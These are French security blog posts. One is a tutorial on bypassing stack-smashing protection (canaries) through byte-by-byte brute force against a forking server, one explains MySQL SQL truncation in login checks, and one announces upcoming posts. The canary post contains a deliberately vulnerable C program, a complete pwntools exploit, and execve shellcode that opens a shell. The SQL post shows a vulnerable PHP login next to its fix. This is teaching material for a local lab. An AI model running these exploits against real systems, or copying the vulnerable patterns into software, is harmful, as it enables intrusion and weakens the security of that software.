Ainsi sont nées bons nombres de protections connues telles que le fameux ASLR(Address Space Layout Randomization) , le NX (Non-executable) ou encore le SOURCE FORTIFY (remplacement de fonctions dangereuses par sa version sécurisée: strcpy=>strncpy).

Mais celle qui a fait le plus parler d'elle dans le monde des failles applicatives reste la Stack Smashing Protection aussi appelée "Canary" ou Cookie.

Voici un petit exemple de ce à quoi ressemble la Stack dans une fonction sur un programme avec la SSP activée.

+-------------------------+
|                         |
|        Save EIP         |
|                         |
+-------------------------+
|                         |
|        Save EBP         |
|                         |
+-------------------------+
|                         |
|        Padding          |
|                         |
+-------------------------+
|                         |
|        Canary           |
|                         |
+-------------------------+
|                         |
|    char badbuffer[64]   |
|                         |
+-------------------------+

On peut voir qu'un Canary été inséré entre notre buffer et le couple EBP (Frame Pointer) et EIP (Return Adress).

Pour mieux comprendre prenons l'exemple suivant:

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <memory.h>

void vuln(char *goodbuffer, int size)
{
    char badbuffer[64];
    memcpy(badbuffer,goodbuffer,size);
}
int main(int argc, char **argv)
{
    int pid,real_size;
    char goodbuffer[256];
    char size[4];
    setbuf(stdout, NULL); // On enleve le buffering de stdout
    while(1)
    {
        pid = fork();
        if( pid == 0 )
        {
            printf("Size: "); // On demande la taille de la chaine à recevoir
            fgets(size, 4 , stdin);
            real_size=atoi(size);
            printf("Input: ");
            fgets(goodbuffer, real_size, stdin);
            goodbuffer[real_size-1]=0;
            vuln(&goodbuffer, real_size-1); // Fonction vulnérable
            printf("Done\n");
        }
        else
        {
            wait(NULL);
        }
    }
    return -1;
}

Le ROP n'est pas l'objet de cet article, nous allons donc désactiver l'ASLR et le NX (-z execstack), on rajoute bien évidement l'option Smash Stack Protection (-fstack-protector).

root@Geluchat:~# echo 0 > /proc/sys/kernel/randomize_va_space # Desactive l'ALSR
root@Geluchat:~# gcc SSPbypass.c -Wall -o SSPbypass -z norelro -z execstack -fstack-protector -m32
root@Geluchat:~# chmod +x SSPbypass
root@Geluchat:~# ./SSPbypass

A la fin de la fonction vuln() le canary est vérifié, s'il a été modifié par l'exploitation d'un Buffer overflow classique on obtient une erreur du type:

*** stack smashing detected ***: SSPbypass - terminated
SSPbypass: stack smashing attack in function  - terminated

Et bien sûr notre exploitation échoue.

Cette protection semble parfaite contre ce type de Buffer overflow, néanmoins elle reste contournable.

En effet, si l'on réécrit le canary par sa vraie valeur pendant l'exploitation, à la fin de la fonction le canary n'aura pas été modifié et le programme continuera son exécution.

Mais cette méthode à un gros défaut, un canary classique fait 4 octets (sur du 32 bits, par exemple 0x61626364) soit 256^4 qui correspond à 1 chance sur 4294967296, autant dire que sur un programme distant, ça reste impossible à exploiter.

La bonne méthode est donc ailleurs.

Pour trouver notre canary, il va falloir procéder en plusieurs fois. Je m'explique, le canary faisant dans notre cas 4 octets:

Nous pouvons le deviner octet par octet à la manière d'une SQL Blind.
Nous savons aussi que le programme proposé plus haut retourne la chaine "Done" quand tout s'est bien déroulé et rien quand on a écrasé le canary.
Si le premier octet du canary est égal à 0x61 il ne retournera pas la chaine tant qu'on ne lui envoie pas 0x61.
Un appel à la fonction fork() copie le canary, il reste donc le même à chaque connexion tant que le programme n'est pas fini.

On peut donc effectuer un bruteforce byte par byte, c'est ce que fait le script suivant:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context(arch='i386')
p = 0
e=ELF('./SSPbypass')


def wait(until):
    return p.recvuntil(until)

def start():
    global p, libc
    if p is not 0:
        p.close()
    p = process('./SSPbypass', shell=True)
    wait("Size: ")

def trigger(buf):
    p.writeline(str(len(buf)+1))
    dumb=wait("Input: ")
    p.write(buf) 
    return wait("Size: ")

def leak(bufsize,canarysize):
    leak = ""
    while len(leak) < canarysize:
        for i in xrange(256):
            hex_byte = chr(i)
            buf = "A"*bufsize + leak + hex_byte
            resp=trigger(buf) # On test le cookie byte par byte
            if 'Done' in resp:
                leak += hex_byte
                print("[*] byte : %r" % hex_byte)
                break
            if(i==255):
                raise ValueError('Hum :(')
    return leak

start()
canary=leak(64,4)   
print("[+] Canary %#x" % u32(canary[0:4]))
trigger("A"*64+canary+p32(0)*3+"bbbb") # Rewrite eip par bbbb

Il ne reste plus ensuite qu'à exploiter le programme de manière classique:

# On export notre shellcode dans une variable d'environnement
http://shell-storm.org/shellcode/files/shellcode-606.php execve("/bin/bash", ["/bin/bash", "-p"], NULL)
root@Geluchat:~# export SC=$(python -c "print '\x90'*100+'\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'")
root@Geluchat:~#./getenv SC
0xffffdf3e

getenv.c

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
printf("0x%x\n",getenv(argv[1]));
}

Exploit final :

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context(arch='i386')
p = 0
e=ELF('./SSPbypass')


def wait(until):
    return p.recvuntil(until)

def start():
    global p, libc
    if p is not 0:
        p.close()
    p = process('./SSPbypass', shell=True)
    wait("Size: ")

def trigger(buf):
    p.writeline(str(len(buf)+1))
    dumb=wait("Input: ")
    p.write(buf) 
    return wait("Size: ")

def leak(bufsize,canarysize):
    leak = ""
    while len(leak) < canarysize:
        for i in xrange(256):
            hex_byte = chr(i)
            buf = "A"*bufsize + leak + hex_byte
            resp=trigger(buf) # On test le cookie byte par byte
            if 'Done' in resp:
                leak += hex_byte
                print("[*] byte : %r" % hex_byte)
                break
            if(i==255):
                raise ValueError('Hum :(')
    return leak


def getshell():
    log.success("Enjoy your shell!")
    p.sendline("python -c \"import pty;pty.spawn('/bin/bash')\"")
    p.interactive()

start()
canary=leak(64,4)   
print("[+] Canary %#x" % u32(canary[0:4]))
buf="A"*64+canary+p32(0)*3+p32(0xffffdf3e+20) # On ajoute +20 en raison du padding de l'environnement
p.writeline(str(len(buf)+1))
wait("Input: ")
p.write(buf) 
getshell()

Un dernier détail important, le canary, sous certaines distributions, peut contenir des null-bytes, il ne sera bypassable que sous certaines conditions, par exemple l’utilisation d’une fonction recv() couplée à un memcpy() qui sont deux fonctions gérants les null-bytes.

Voila, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Geluchat.

Les SQL truncations : Une faille méconnue, mais très efficace

2015-01-30T11:35:00+01:00

Aujourd'hui, j'ai le plaisir de vous présenter le premier article du site, il concernera les SQL truncations. Il est très probable que vous n'en ayez jamais entendu parler car les failles liées à SQL sont noyées par les SQL injections et les bypass en tout genre.

Alors, une SQL truncation, ça ressemble à quoi? Et bien, ça n'est pas très difficile à appréhender.

Prenons l'exemple du script SQL suivant:

CREATE TABLE TEST_DAILYSECURITY(
    id int NOT NULL AUTO_INCREMENT,
    login VARCHAR(12),
    password CHAR(32),
    PRIMARY KEY (id)
);
INSERT INTO TEST_DAILYSECURITY VALUES(default,'admin                       x','mdp');

Avec un select de la table, on obtient:

SELECT login, password FROM TEST_DAILYSECURITY;
+---------+------------+
| login   | password   |
+---------+------------+
| admin   | mdp        |
+---------+------------+
1 row in set (0.00 sec)

Le résultat est sans appel, le login a été tronqué par mysql.

Mais pourquoi? Pour les plus observateurs, vous aurez remarqué que le champ login est un varchar de 12 caractères, donc mysql ne réfléchit pas, il enregistre dans l'espace qu'on lui a réservé, d’où la troncation du login.

Remarque : MySQL efface les espaces derrière pour une raison d'optimisation de stockage.

Maintenant, à quoi ça sert?

Les exemples d'exploitation de cette faille sont multiples:

En cas d'une mauvaise gestion de l’accès au back office d'un site, comme avec un:

SELECT id FROM TEST_DAILYSECURITY WHERE login='admin' AND password='$_POST[password]';

Suivi d'un test d'un type mysql_num_rows > 0 , l'utilisateur aurait accès au panel d’administration.

    $db = mysql_connect('localhost', 'root', '');
    mysql_select_db('TEST_DAILYSECURITYDB',$db);

    if(isset($_POST['password']))
    {
       $sql = "SELECT id FROM TEST_DAILYSECURITY WHERE login='admin' AND password='".mysql_real_escape_string($_POST['password'])."'";
       $req = mysql_query($sql) or die('Erreur SQL !'.$sql.''.mysql_error());

       if(mysql_num_rows($req)> 0 ) // Si la requête retourne au moins un résultat, on accède à la zone administrateur
       {
          // ZONE ADMIN
          echo 'Bienvenue Administrateur';
       }
       else
       {
          header('Location: '.$_SERVER['HTTP_REFERER']);
          exit(0);
       }
    }
    else
    {
       echo '<form action="" method="POST">
               Password: <input type="password" name="password"></ br>
               <input type="submit" name="Se Connecter">
             </form>';
    }
    mysql_close();

Un problème par requêtes multiples. On peut prendre comme exemple le challenge aart de Ghost in the Shellcode qui avait deux requêtes insert à la suite, la deuxième utilisant une clause where sur un élément tronqué, un petit exemple:

    INSERT INTO TEST_DAILYSECURITY VALUES(default,'$_POST[login]','$_POST[password]');
    -- Si le login est supérieur à 12 il sera tronqué
    INSERT INTO AUTRE TABLE_AVEC_IDUSER VALUES(default,(SELECT id FROM TEST_DAILYSECURITY WHERE login='$_POST[login]'));
    -- Cette table contiendrait des données incorrectes, je vous laisse imaginer si c'était la table gérant les privilèges utilisateurs...

On a donc pu voir que les SQL truncations sont très dangereuses et fortement méconnues. A savoir que la faille fonctionne aussi sous PDO.

La solution, pour patcher cette faille, est très simple:

if(isset($_POST['login']) && strlen($_POST['login'])>12)
{
    echo "Veuillez rentrer un login inférieur à 12 caractères";
}
else
{
  // Vérification connexion administrateur et formulaire de connexion
}

Voila, c'est déjà terminé, n'hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l'actualité de la sécurité informatique.

Geluchat.

Les posts à venir

2015-01-26T00:25:00+01:00

Je vais publier très prochainement, des articles de web et d'applicatif.

Pour ce qui est du web ça sera un article sur les SQL truncations et les Path truncations (dans une LFI).

Et en applicatif un petit cours sur le stack cookie (canary) et les différentes méthodes de bypass.

Si vous voulez prendre de l'avance sur moi n'hésitez pas à aller googler tout ça :)